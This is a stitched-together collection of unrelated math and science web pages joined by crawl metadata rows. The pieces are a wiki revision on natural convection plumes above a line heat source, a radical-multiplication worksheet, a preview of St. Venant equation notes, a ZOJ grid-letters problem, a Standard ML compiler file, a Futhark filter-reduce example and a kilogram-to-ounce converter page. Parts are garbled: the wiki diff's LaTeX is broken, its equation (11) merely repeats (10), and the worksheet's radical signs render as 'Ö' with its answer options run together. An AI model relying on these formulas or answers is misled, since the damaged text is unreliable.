continuity, momentum and energy equations are the same as those for natural convection near a [[Governing equations for natural convection on a vertical plate|vertical flat plate]]: + +
+ $\frac{\partial u}{\partial x}+\frac{\partial v}{\partial y}=0$ +
+ +
+ $u\frac{\partial u}{\partial x}+v\frac{\partial u}{\partial y}=\nu \frac{{{\partial }^{2}}u}{\partial {{y}^{2}}}+g\beta (T-{{T}_{\infty }})$ +
+
+ $u\frac{\partial T}{\partial x}+v\frac{\partial T}{\partial y}=\alpha \frac{{{\partial }^{2}}T}{\partial {{y}^{2}}}$ +
+ + The boundary conditions at $y\to \infty$ can still be described by +
+ $u=v=0,\text{ }y\to \infty$ +
+
+ $T={{T}_{\infty }},\text{ }y\to \infty$ +
+ + However, the boundary conditions at the centerline, $x=0$, should be changed to: {| class="wikitable" border="0" {| class="wikitable" border="0" Line 30: Line 51: |- |- | width="100%" |
| width="100%" |
- ${F}'''+\theta +(3+n)F{F}''-(2n+2){{({F}')}^{2}}=0$ + ${F}'''+\theta +(3+n)F{F}''-(2n+2){{({F}')}^{2}}=0 |{{EquationRef|(3)}} |{{EquationRef|(3)}} Line 86: Line 107: |- |- | width="100%" | | width="100%" | - [itex]F(\eta )={F}''(\eta )=0,\text{ and }\theta (\eta )=1\text{ at }\eta =0$ + [itex]F(\eta )={F}''(\eta )=0,\text{ and }\theta (\eta )=1\text{ at }\eta =0
|{{EquationRef|(9)}} |{{EquationRef|(9)}} Line 99: Line 120: |} |} - Equations (7) – (10) can be solved numerically and the results are shown in Fig. 6.16. In contrast to Fig. 6.3 that shows the velocity at the wall is zero, the velocity at the centerline is at its maximum. With known intensity of the line heat source, the constant N in eq. (2) can be obtained from eq. (6): + Equations (7) – (10) can be solved numerically. With known intensity of the line heat source, the constant N in eq. (2) can be obtained from eq. (6): {| class="wikitable" border="0" {| class="wikitable" border="0" Line 110: Line 131: where where - - [[Image:chapter6_15.jpg|thumb|400 px|alt=Figure 6.16 Velocity and temperature distributions of natural convection from a line heat source (a) velocity, (b) temperature (Gebhart et al., 1970; reproduced with permission from Elsevier) |Figure 6.16 Velocity and temperature distributions of natural convection from a line heat source (a) velocity, (b) temperature (Gebhart et al., 1970; reproduced with permission from Elsevier).]] {| class="wikitable" border="0" {| class="wikitable" border="0" Line 124: Line 143: ==References== ==References== + Faghri, A., Zhang, Y., and Howell, J. R., 2010, ''Advanced Heat and Mass Transfer'', Global Digital Press, Columbia, MO. Gebhart, B., Pera, L., and Schorr, A.W., 1970, “Steady Laminar Natural Convection Plumes above a Horizontal Line Heat Source,” International Journal of Heat and Mass Transfer, Vol. 13, pp. 161-171 Gebhart, B., Pera, L., and Schorr, A.W., 1970, “Steady Laminar Natural Convection Plumes above a Horizontal Line Heat Source,” International Journal of Heat and Mass Transfer, Vol. 13, pp. 161-171
## Current revision as of 09:28, 12 July 2010
Figure 1 Examples of free boundary flows.
Figure 2 Physical model of natural convection from a line heat source.
The common feature of external convection discussed in the preceding subsections is that the flows are always near a heated (or cooled) solid wall. For some other applications, however, the thermally induced flow occurs without presence of a solid wall and is referred to as free boundary flow. When a point or line heat source is immersed into a bulk fluid, the fluid near the heat source is heated, becomes lighter and rises to form a plume [see Fig. 1 (a)]. The plume generated by a point heat source is axisymmetric, but a line heat source will create a two-dimensional plume. A thermal is a column of rising air near the ground due to the uneven solar heating of the ground surface. The lighter air near the ground rises and cools due to expansion [see Fig. 1(b)].
Let us consider now the two-dimensional free boundary flow induced by a line heat source (see Fig. 2). Since the problem is symmetric about x = 0, only half of the domain (x > 0) needs to be studied. In the coordinate system shown in Fig. 2, the continuity, momentum and energy equations are the same as those for natural convection near a vertical flat plate:
$\frac{\partial u}{\partial x}+\frac{\partial v}{\partial y}=0$
$u\frac{\partial u}{\partial x}+v\frac{\partial u}{\partial y}=\nu \frac{{{\partial }^{2}}u}{\partial {{y}^{2}}}+g\beta (T-{{T}_{\infty }})$
$u\frac{\partial T}{\partial x}+v\frac{\partial T}{\partial y}=\alpha \frac{{{\partial }^{2}}T}{\partial {{y}^{2}}}$
The boundary conditions at $y\to \infty$ can still be described by
$u=v=0,\text{ }y\to \infty$
$T={{T}_{\infty }},\text{ }y\to \infty$
However, the boundary conditions at the centerline, x = 0, should be changed to:
$\frac{\partial u}{\partial y}=\frac{\partial T}{\partial y}=0,\text{ }v=0\text{ at }y=0$ (1)
which indicates that the velocity component in the x-direction and the temperature at the centerline are at their respective maximum. Gebhart et al. (1970) assumed that the difference between the centerline temperature and the bulk fluid temperature is of the following power law form:
${{T}_{0}}-{{T}_{\infty }}=N{{x}^{n}}$ (2)
where the index n will be determined using the overall energy balance. The continuity, momentum, and energy equations can be transformed to the following ordinary differential equations via the same similarity variables for natural convection over a vertical flat plate in Section 6.4.1 and considering eq. (2).
F''' + θ + (3 + n)FF'' − (2n + 2)(F')2 = 0 (3)
${\theta }''+\Pr [(n+3)F{\theta }'-4n{F}'\theta ]=0$ (4)
Equations (3) and (4) are applicable to any natural convection problem that satisfies eq. (2). To get the ordinary differential equations that are specific for natural convection induced by a line heat source, proper values of N and n, as well as appropriate boundary conditions, must be specified. The energy convected across any horizontal plane in the plume is
${q}'=\rho {{c}_{p}}\int_{-\infty }^{\infty }{u(T-{{T}_{\infty }})dy}$ (5)
which is identical to the intensity of the line heat source and it can be expressed in terms of similarity variables
${q}'=4\nu \rho {{c}_{p}}N{{\left( \frac{g\beta N}{4{{\nu }^{2}}} \right)}^{1/4}}{{x}^{(5n+3)/4}}\int_{-\infty }^{\infty }{{F}'\theta d\eta }$ (6)
Since the line heat source is the only source of heating, the above q' should be independent from x which can be true only if n is equal to − 3 / 5. Therefore, the ordinary differential equations for natural convection over a line heat source respectively become:
${F}'''+\theta +\frac{12}{5}F{F}''-\frac{4}{5}{{({F}')}^{2}}=0$ (7)
${\theta }''+\frac{12}{5}\Pr (F{\theta }'+{F}'\theta )=0$ (8)
which are subject to the following boundary conditions:
F(η) = F''(η) = 0, and θ(η) = 1 at η = 0 (9)
${F}'(\eta )=\theta (\eta )=0\text{ at }\eta \to \infty$ (10)
Equations (7) – (10) can be solved numerically. With known intensity of the line heat source, the constant N in eq. (2) can be obtained from eq. (6):
${F}'(\eta )=\theta (\eta )=0\text{ at }\eta \to \infty$ (11)
where
$I=\int_{-\infty }^{\infty }{{F}'(\eta )\theta (\eta )d\eta }$ (12)
is a function of Prandtl number. The values of I calculated at Pr = 0.7, 1.0, 6.7, and 10.0 by Gebhart et al. (1970) are 1.245, 1.053, 0.407 and 0.328, respectively.
## References
Faghri, A., Zhang, Y., and Howell, J. R., 2010, Advanced Heat and Mass Transfer, Global Digital Press, Columbia, MO.
Gebhart, B., Pera, L., and Schorr, A.W., 1970, “Steady Laminar Natural Convection Plumes above a Horizontal Line Heat Source,” International Journal of Heat and Mass Transfer, Vol. 13, pp. 161-171 | 3,207 | 11,020 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 16, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3 | 3 | CC-MAIN-2020-10 | latest | en | 0.930632 |
http://kwiznet.com/p/takeQuiz.php?ChapterID=10862&CurriculumID=48&Method=Worksheet&NQ=10&Num=2.53&Type=B | 1,558,620,459,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232257244.16/warc/CC-MAIN-20190523123835-20190523145835-00193.warc.gz | 113,580,582 | 3,418 | Name: ___________________Date:___________________
Email us to get an instant 20% discount on highly effective K-12 Math & English kwizNET Programs!
If nÖa and nÖb are two radicals of the same order, then nÖa * nÖb = nÖa*b. Example: 3Ö5 * 3Ö6 = 3Ö5*6. = 3Ö30. Directions: Solve the following problems. Also write at least ten examples of your own.
Name: ___________________Date:___________________
Q 1: 5Ö6 * 5Ö3 = ____________.5Ö925Ö305Ö18 Q 2: 6Ö7 * 6Ö5 = ____________.36Ö356Ö356Ö12 Q 3: 3Ö5 * 3Ö7 = ____________.9Ö353Ö123Ö35 Q 4: 3Ö8 * 3Ö7 = ____________.3Ö569Ö563Ö15 Q 5: 4Ö8 * 4Ö5 = ____________.4Ö404Ö1316Ö40 Q 6: 8Ö7 * 8Ö3 = ____________.8Ö218Ö1064Ö21 Question 7: This question is available to subscribers only! Question 8: This question is available to subscribers only! | 283 | 785 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2019-22 | latest | en | 0.726691 |
http://www.coursehero.com/file/2184394/ce536232/ | 1,406,380,178,000,000,000 | text/html | crawl-data/CC-MAIN-2014-23/segments/1405997901589.57/warc/CC-MAIN-20140722025821-00244-ip-10-33-131-23.ec2.internal.warc.gz | 623,303,269 | 16,399 | 10 Pages
# ce_5362_3.2
Course Number: CE 5362, Fall 2008
College/University: Texas Tech
Word Count: 2506
Rating:
###### Document Preview
CE 5362 Surface Water Modeling Essay 3.2 1. Introduction This essay provides a brief derivation of the St. Venant equations for one-dimensional (1-D) open channel ow. The equations were originally developed in the 1850s, so the concept is not very new. The tools have changed since that time; computational methods have greatly increased the utility of these equations. In general, 1-D unsteady ow would be considered...
##### Unformatted Document Excerpt
Coursehero >> Texas >> Texas Tech >> CE 5362
Course Hero has millions of student submitted documents similar to the one
below including study guides, practice problems, reference materials, practice exams, textbook help and tutor support.
Course Hero has millions of student submitted documents similar to the one below including study guides, practice problems, reference materials, practice exams, textbook help and tutor support.
5362 CE Surface Water Modeling Essay 3.2 1. Introduction This essay provides a brief derivation of the St. Venant equations for one-dimensional (1-D) open channel ow. The equations were originally developed in the 1850s, so the concept is not very new. The tools have changed since that time; computational methods have greatly increased the utility of these equations. In general, 1-D unsteady ow would be considered state-of-practice computation; every engineer would be expected to be able to make such calculations (albeit using software). 2-D computation is not routine, but within the realm of consulting practice again using general purpose software. 3-D computation as of this writing (circa 2009) is still in the realm of state-of-art, and would not be within the capability a typical consulting rm. 2. The Computational Cell The fundamental computational element is a computational cell or a reach. Figure 1 is a sketch of a portion of a channel. The left-most section is uphill (and upstream) of the rightmost section. The section geometry is arbitrary, but is drawn to look like a channel cross section. The length of the reach (distance between each section along the ow path) is x. The depth of liquid in the section is z, the width at the free surface is B(z), the functional relationship established by the channel geometry. The ow into the reach on the upstream face is Q Q/x x/2. The ow out of the reach on the downstream face is Q + Q/x x/2. The direction is strictly a sign convention and the development does not require ow in a single direction. The topographic slope is S0 , assumed relatively constant in each reach, but can vary between reaches. 3. Assumptions The development of the unsteady ow equations uses several assumptions: (1) The pressure distribution at any section is hydrostatic this assumption allows computation of pressure force as a function of depth. (2) Wavelengths are long relative to ow depth this is called the shallow wave theory. (3) Channel slopes are small enough so that the topographic slope is roughly equal to the tangent of the angle formed by the channel bottom and the horizontal. 1 CE 5362 Surface Water Modeling SPRING 2009 Figure 1. Reach/Computational Cell (4) The ow is one-dimensional this assumption implies that longitudinal dimension is large relative to cross sectional dimension. Generally river ows will meet this assumption, it fails in estuaries where the spatial dimensions (length and width) are roughly equal. Thus rivers that are hundreds of feet wide imply that reaches are miles long. If this assumption cannot be met, then 2-D methods are more appropriate. (5) Friction is modeled by Chezy or Mannings type empirical models. The particular friction model does not really matter, but historically these equations have used the friction slope concept as computed from one of these empirical models. The tools that are used to build the equations are conservation of mass and linear momentum. 4. Conservation of Mass The conservation of mass in the cell is the statement that mass entering and leaving the cell is balanced by the accumulation or lass of mass within the cell. For pedagogical clarity, this section goes through each part of a mass balance then assembles into a dierence equation of interest. REVISION NO. 1 Page 2 of 10 CE 5362 Surface Water Modeling SPRING 2009 Mass Entering: Mass enters from the left of the cell in our sketch. This direction only establishes a direction convention and negative ux means the arrow points in the direction opposite of that in the sketch. In the notation of the sketch mass entering in a short time interval is: Q x ) t Min = (Q x 2 (1) where is the uid density. Notice that the mass ux is evaluated at the cell interface and not the centroid, while by convention is assumed to be dened as an average cell property. Mass Leaving: Mass leaves from the right of the cell in our sketch. In the notation of the sketch mass leaving is: Q x Mout = (Q + ) t x 2 (2) Mass Accumulating: Mass accumulating within the reach is stored in the prism depicted in the sketch by the dashed lines. The product of density and prism volume is the mass added to (or removed from) storage. The rise in water surface in a short time interval is z t. The plan view area of the prism is t B(z) x. The product of these two terms is the mass added to storage, expressed as: z Mstorage = ( t) B(z) x t (3) Equating the accumulation to the net inow produces Q x Q x z t) B(z) x = (Q ) t (Q + ) t t x 2 x 2 (4) ( This is the mass balance equation for the reach. If the ow is isothermal, and essentially incompressible then the density is a constant and can be removed from both sides of the equation. z Q x Q x t) B(z) x = (Q ) t (Q + ) t t x 2 x 2 (5) ( Rearranging the right hand side produces REVISION NO. 1 Page 3 of 10 CE 5362 Surface Water Modeling SPRING 2009 (6) ( Q x Q x Q z t) B(z) x = t t = x t t x 2 x 2 x Dividing both sides by x t yields z Q ) B(z) = t x (7) ( This equation is the conventional representation of the conservation of mass in 1-D open channel ow. If the equation includes lateral inow the equation is adjusted to include this additional mass term. The usual lateral inow is treated as a discharge per unit length added into the mass balance as expressed in Equation 32. z Q ) B(z) + =q t x (8) ( This last equation is one of the two equations that comprise the St. Venant equations. The other equation is developed from the conservation of linear momentum the next section. 5. Conservation of Momentum The conservation of momentum is the statement of the change in momentum in the reach is equal to the net momentum entering the reach plus the sum of the forces on the water in the reach. As in the mass balance, each component will be considered separately for pedagogical clarity. Figure 2 is a sketch of the reach element under consideration, on some non-zero sloped surface. Momentum Entering: Momentum entering on the side left of the sketch is QV = V 2 A (9) Momentum Leaving: Momentum leaving on the right side of the sketch is ( QV )x = V 2 A + ( V 2 A)x x x (10) QV + REVISION NO. 1 Page 4 of 10 CE 5362 Surface Water Modeling SPRING 2009 Figure 2. Equation of motion denition sketch Momentum Accumulating: The momentum accumulating is the rate of change of linear momentum: dL d (mV ) (11) = = ( AV x) = x ( AV ) dt dt t t Forces on the liquid in the reach: Gravity forces: The gravitational force on the element is the product of the mass in the element and the downslope component of acceleration. The mass in the element is Ax The x-component of acceleration is g sin(), which is S0 for small values of . The resulting force of gravity is is the product of these two values: Fg = g AS0 x (12) Friction forces: Friction force is the product of the shear stress and the contact area. In the reach the contact area is the product of the reach length and average wetted perimeter. Ff r = Pw x Page 5 of 10 (13) REVISION NO. 1 CE 5362 Surface Water Modeling SPRING 2009 where Pw = A/R, R is the hydraulic radius. A good approximation for shear stress in unsteady ow is = gRSf . Sf is the slope of the energy grade line at some instant and is also called the friction slope. This slope can be empirically determined by a variety of models, typically Chezys or Mannings equation is used. In either of these two models, we are using a STEADY FLOW equation of motion to mimic unsteady behavior nothing wrong, and it is common practice, but this decision does limit the frequency response of the model (the ability to change fast hence the shallow wave theory assumption!). The resulting friction model is Ff r = gASf x (14) Pressure forces: [Set the equations, backll discussion next version] (15) Fp = A dF Figure 3. Pressure integral sketch (16) REVISION NO. 1 dF = (z h)g(h)dh Page 6 of 10 CE 5362 Surface Water Modeling SPRING 2009 where (h) is the width of the panel at a given distance above the channel bottom (h) at any section. Fp (17) Fp net = Fp up down (18) Fp net = Fp (Fp + Fp Fp x) = x x x Z (19) Fp x = [ x x z = g[ x Z g(z h)(h)dh]x 0 Z (20) Fp net (h)dh + 0 0 (z h)(h) (h) dh]x x The rst term integrates to the cross sectional area, the second term is the variation in pressure with position along the channel. The other pressure force to consider is the bank force (the pressure force exerted by the banks on the element). This force is computed using the same type of integral structure except the order is swapped. Z (21) Fp bank =[ 0 g(z h) (h) x]dh x Now we put everything together. d(mV ) dt (22) M omentumin M omentumout + F = Substitution of the pieces: d(mV ) dt (23) M omentumin M omentumout + Fp net + Fbank + Fgravity Ff riction = Now when the expressions for each expressions for each part REVISION NO. 1 Page 7 of 10 CE 5362 Surface Water Modeling SPRING 2009 (24) ( V 2 A)x x Z z Z (h) g dh]x (h)dhx [ g(z h) x 0 x 0 Z (h) x]dh +[ g(z h) x 0 +g AS0 x V 2A V 2A (gRSf x) = x ( g AV ) t Each row of Equation 24 is in order: (1) Net momentum entering the reach. (2) Pressure force dierential at the end sections. (3) Pressure force on the channel sides. (4) Gravitational force. (5) Frictional force opposing ow. (6) Total acceleration in the reach (change in linear momentum). Canceling terms and dividing by x (isothermal, incompressible ow; reach has nite length) Equation 24 simplies to z (V 2 A) g x x Z (25) (h)dh + g AS0 (gRSf ) = 0 (g AV ) t The second term integral is the sectional ow area, so it simplies to z (V 2 A) g A + gAS0 gASf = (AV ) x x t (26) The term with the square of mean section velocity is expanded by the chain rule, and using continunity becomes (notice the convective acceleration term from the change in area with time) V A V V A (AV ) = A +V =A VA V2 t t t t x x (27) REVISION NO. 1 Page 8 of 10 CE 5362 Surface Water Modeling Now expand and construct SPRING 2009 A A V z V V 2V A gA + gA(S0 Sf ) = A VA V2 x x x t x x Cancel common terms and simplify (28) V 2 V z V gA + gA(S0 Sf ) = A x x t (29) V A Equation 33 is the nal form of the momentum equation for practical use. It will be rearranged in the remainder of this essay to t some other purposes, but this is the expression of momentum in the channel reach. Divide by gA and obtain V V z 1 V + (S0 Sf ) = g x x g t (30) Rearrange (31) Sf = S0 1 V z V V x g x g t Now consider typical ow regimes. (1) The rst two terms (from left to right) are uniform ow, this is an algebraic equation. (2) If the rst four terms are in eect, we have gradually varied ow; an ordinary dierential equation. (3) If all terms are in eect, the have the dynamic ow (shallow wave) conditions; a partial dierential equation. The pair of equations, z Q ) B(z) + =q t x z V V 1 V =0 x g x g t Page 9 of 10 (32) ( (33) S0 Sf REVISION NO. 1 CE 5362 Surface Water Modeling SPRING 2009 are called the St. Venant equations and comprise a coupled hyperbolic dierential equation system. Solutions ((z, t) and (V, t) functions) are found by a variety of methods including nite dierence, nite element, nite volume, and characteristics methods. In this course we will study a simple nite-dierence scheme to gain some familarity with building solutions, then use prepared tools (SWMM) for more practical problems. 6. Readings Cunge, J.A., Holly, F.M., Verwey, A. 1980. Practical Aspects of Computational River Hydraulics. Pittman Publishing Inc. , Boston, MA. pp. 7-50 in On server at : http://cleveland1.ce.ttu.edu/teaching/ce 5362/ ce 5362 9.9/practical aspects computational river hydraulics.pdf 7. Exercises (1) Verify that the mass balance indeed provides the identities to complete the momentum analysis in Equation 27 8. Author Notes REVISION NO. 1: Initial typeset; need to check mathematics against hand sheets. Need to supply narrative next version. REVISION NO. 1 Page 10 of 10
Textbooks related to the document above: | 3,297 | 12,878 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2014-23 | latest | en | 0.923767 |
http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=1378 | 1,566,747,593,000,000,000 | text/html | crawl-data/CC-MAIN-2019-35/segments/1566027330750.45/warc/CC-MAIN-20190825151521-20190825173521-00370.warc.gz | 9,052,266 | 3,079 | Welcome to ZOJ
Problem Sets Information Select Problem Runs Ranklist
ZOJ Problem Set - 1378
The Alphabet Game
Time Limit: 2 Seconds Memory Limit: 65536 KB
Little Dara has recently learned how to write a few letters of the English alphabet (say k letters). He plays a game with his little sister Sara. He draws a grid on a piece of paper and writes p instances of each of the k letters in the grid cells. He then asks Sara to draw as many side-to-side horizontal and/or vertical bold lines over the grid lines as she wishes, such that in each rectangle containing no bold line, there would be p instances of one letter or nothing. For example, consider the sheet given in Figure 1, where Sara has drawn two bold lines creating four rectangles meeting the condition above. Sara wins if she succeeds in drawing the required lines. Dara being quite fair to Sara, wants to make sure that there would be at least one solution to each case he offers Sara. You are to write a program to help Dara decide on the possibility of drawing the right lines.
Figure 1. Part of a sample sheet and two dividing bold lines: The
data for this figure is given in the first test case of the sample input
Input
The first line of the input file contains a single integer t (1 <= t <= 10), the number of test cases, followed by the input data for each test case. The first line of each test case consists of two integers k (1 <= k <= 26), the number of different letters, and p (1 <= p <= 10), the number of instances of each letter. Followed by the first line, there are k lines, one for each letter, each containing p pairs of integers (xi, yi) for 1 i p. A pair indicates coordinates of the cell on the paper where one instance of the letter is written. The coordinates of the upper left cell of the paper is assumed to be (1,1). Coordinates are positive integers less than or equal to 1,000,000. You may assume that no cell contains more than one letter.
Output
There should be one line per test case containing a single word YES or NO depending on whether the input paper can be divided successfully according to the constraints stated in the problem.
Sample Input
2
3 2
6 4 8 4
4 2 2 1
2 3 2 4
3 3
1 1 3 1 5 1
2 1 4 1 6 1
2 2 4 2 8 1
Sample Output
YES
NO
Source: Asia 2002, Tehran (Iran), Preliminary
Submit Status | 578 | 2,316 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2019-35 | latest | en | 0.908912 |
http://smlnj-gforge.cs.uchicago.edu/scm/viewvc.php/trunk/src/compiler/IL/field-def.sml?view=markup&root=diderot&sortby=date&pathrev=192 | 1,642,501,198,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320300810.66/warc/CC-MAIN-20220118092443-20220118122443-00411.warc.gz | 58,823,465 | 4,695 | Home My Page Projects Code Snippets Project Openings diderot
# SCM Repository
[diderot] View of /trunk/src/compiler/IL/field-def.sml
[diderot] / trunk / src / compiler / IL / field-def.sml
# View of /trunk/src/compiler/IL/field-def.sml
Mon Aug 2 16:23:42 2010 UTC (11 years, 5 months ago) by jhr
File size: 2094 byte(s)
``` Working on translation to IL
```
```(* field-def.sml
*
* COPYRIGHT (c) 2010 The Diderot Project (http://diderot.cs.uchicago.edu)
*)
structure FieldDef =
struct
(* the static definition of a field value *)
datatype field_def
= CONV of ImageInfo.info * Kernel.kernel (* convolution *)
| DIFF of int * field_def (* k levels of differentiation *)
| NEG of field_def
| SUM of field_def * field_def
(* scaling too? *)
(* normalize a field definition by pushing the DIFF operators to the
* leaves
*)
fun normalize fld = let
fun norm fld = (case fld
of CONV _ => fld
| DIFF(k, fld) => diff (k, fld)
| NEG fld => NEG(norm fld)
| SUM(fld1, fld2) => SUM(norm fld1, norm fld2)
(* end case *))
and diff (k, fld) = (case fld
of CONV _ => DIFF(k, fld)
| DIFF(k', fld) => diff (k+k', fld)
| NEG fld => NEG(diff(k, fld))
| SUM(fld1, fld2) => SUM(diff(k, fld1), diff(k, fld2))
(* end case *))
in
norm fld
end
(* equality test for field definitions *)
fun same (CONV(img1, kern1), CONV(img2, kern2)) =
ImageInfo.same(img1, img2) andalso Kernel.same(kern1, kern2)
| same (DIFF(k1, fld1), DIFF(k2, fld2)) =
(k1 = k2) andalso same(fld1, fld2)
| same (NEG fld1, NEG fld2) = same(fld1, fld2)
| same (SUM(fld11, fld12), SUM(fld21, fld22)) =
same(fld11, fld21) andalso same(fld12, fld22)
(* hash value *)
fun hash (CONV(img, kern)) = 0w3 * ImageInfo.hash img + Kernel.hash kern
| hash (DIFF(k, fld)) = Word.fromInt k * 0w17 + hash fld
| hash (NEG fld) = 0w3 * hash fld + 0w11
| hash (SUM(fld1, fld2)) = 0w7 * hash fld1 + hash fld2
fun toString (CONV(img, kern)) =
concat["<", ImageInfo.toString img, "*", Kernel.name kern, ">"]
| toString (DIFF(k, fld)) =
concat["(D", Int.toString k, " ", toString fld, ")"]
| toString (NEG fld) = "-" ^ toString fld
| toString (SUM(fld1, NEG fld2)) =
concat["(", toString fld1, "-", toString fld2, ")"]
| toString (SUM(fld1, fld2)) =
concat["(", toString fld1, "+", toString fld2, ")"]
end
``` | 738 | 2,241 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2022-05 | latest | en | 0.679878 |
https://futhark-lang.org/examples/filter-reduce.html | 1,685,850,875,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224649439.65/warc/CC-MAIN-20230604025306-20230604055306-00223.warc.gz | 327,599,536 | 2,101 | Fork me on GitHub
Source file: filter-reduce.fut
# Reducing the result of a filter
Suppose we wish to sum all the positive values of some array. The obvious way to write it is as follows:
``def sum_pos (xs: []i32) = reduce (+) 0 (filter (>0) xs)``
This gives the right result, but it is not optimal. Since `filter` is a reasonably expensive operation, it is better to implement this pattern by `map`ing the “removed” elements to the neutral element:
``````def sum_pos_better (xs: []i32) =
reduce (+) 0 (map (\x -> if x > 0 then x else 0) xs)``````
These `map`-`reduce` compositions are one of the most efficient parallel programming patterns - quite parallel, and with low execution overhead. If we wish, we can factor this filter-then-reduce strategy into a separate higher-order function:
``````def reduce_some 'a (op: a -> a -> a) (ne: a) (p: a -> bool) (xs: []a) : a =
reduce op ne (map (\x -> if p x then x else ne) xs)``````
Then we can define our function as simply:
``````def sum_pos_best (xs: []i32) =
reduce_some (+) 0 (>0) xs`````` | 308 | 1,051 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2023-23 | latest | en | 0.829783 |
https://kgtolbs.net/3-7-kg-to-oz | 1,708,673,587,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474361.75/warc/CC-MAIN-20240223053503-20240223083503-00882.warc.gz | 345,592,885 | 24,814 | Home » Kg in Oz » 3.7 Kg to Oz
# 3.7 Kg to Oz
Welcome to 3.7 kg to oz, our post about the 3.7 kilograms to ounces conversion.
If you have found us by searching for 3.7 kg in ounces, or if you have been asking yourself how many ounces in 3.7 kg, then you are right here, too.
When we write 3.7 kilos in ounces, or use a similar term, we mean the unit international avoirdupois ounce; for 3.7 kilos to ounces in historical units of mass please check the last paragraph.
Read on to learn everything about the conversion, and check out our app.
Reset
## How to Convert 3.7 Kg to Oz?
Multiply the mass in kilograms by 16 / 0.45359237.
The 3.7 kg to oz formula is [oz] = 3.7 * 16 / 0.45359237. Thus, we get:
3.7 kg = 130.514 oz
3.7 kg = 130.514 ounces
3.7 kilograms is 130.514 ounces
Here you can convert 3.7 oz to kg.
These results for three kilos and seven hundred grams in ounces have been rounded to 3 decimals.
For 3.7 kg to ounces with higher precision use our converter at the top of this post.
It changes any value on the fly.
Enter, for instance, 3.7, and use a decimal point in case you have a fraction.
Similar conversions on this site include:
The conversion 3.7 kg to oz is straightforward.
Just use our calculator, or apply the formula to change the weight.
Note that you can also find frequent kilogram to ounces conversions, including 3.7 kilo in ounces, using the search form on the sidebar.
You can, for instance, enter convert 3.7 kg to ounces or how many ounces in 3.7 kilos.
Then hit the “go” button.
Next, we will discuss the conversion of 3.7 kg to Troy ounces.
## 3.7 Kilograms to Ounces Conversion
Here is the weight conversion of 3.7 kg for some units of ounce no longer in official use.
Make sure to understand that these units of mass are depreciated, except for precious metals including silver and gold which are measured in Troy ounces.
Three kilos and seven hundred grams are equal to:
• 118.958 Troy ounces
• 126.888 Tower ounces
3.7 kilograms into ounces for these legacy units is given for the sake of completeness of this article.
Historically, there were even more definitions of ounces, but to convert 3.7kg in ounces these days one has to use the equivalence of 0.028349523125 kg for the international avoirdupois ounce, which is both, a United States customary unit and imperial unit of measurement.
## 3.7 Kg to Oz Bottom Line
We are coming to the end of our post.
Further information related to mass, weight and units used in this post can be found on kg to oz, also accessible via the header menu.
If you have any questions related to 3.7 kg into ounces make use of the comment form below.
Thanks for visiting our website.
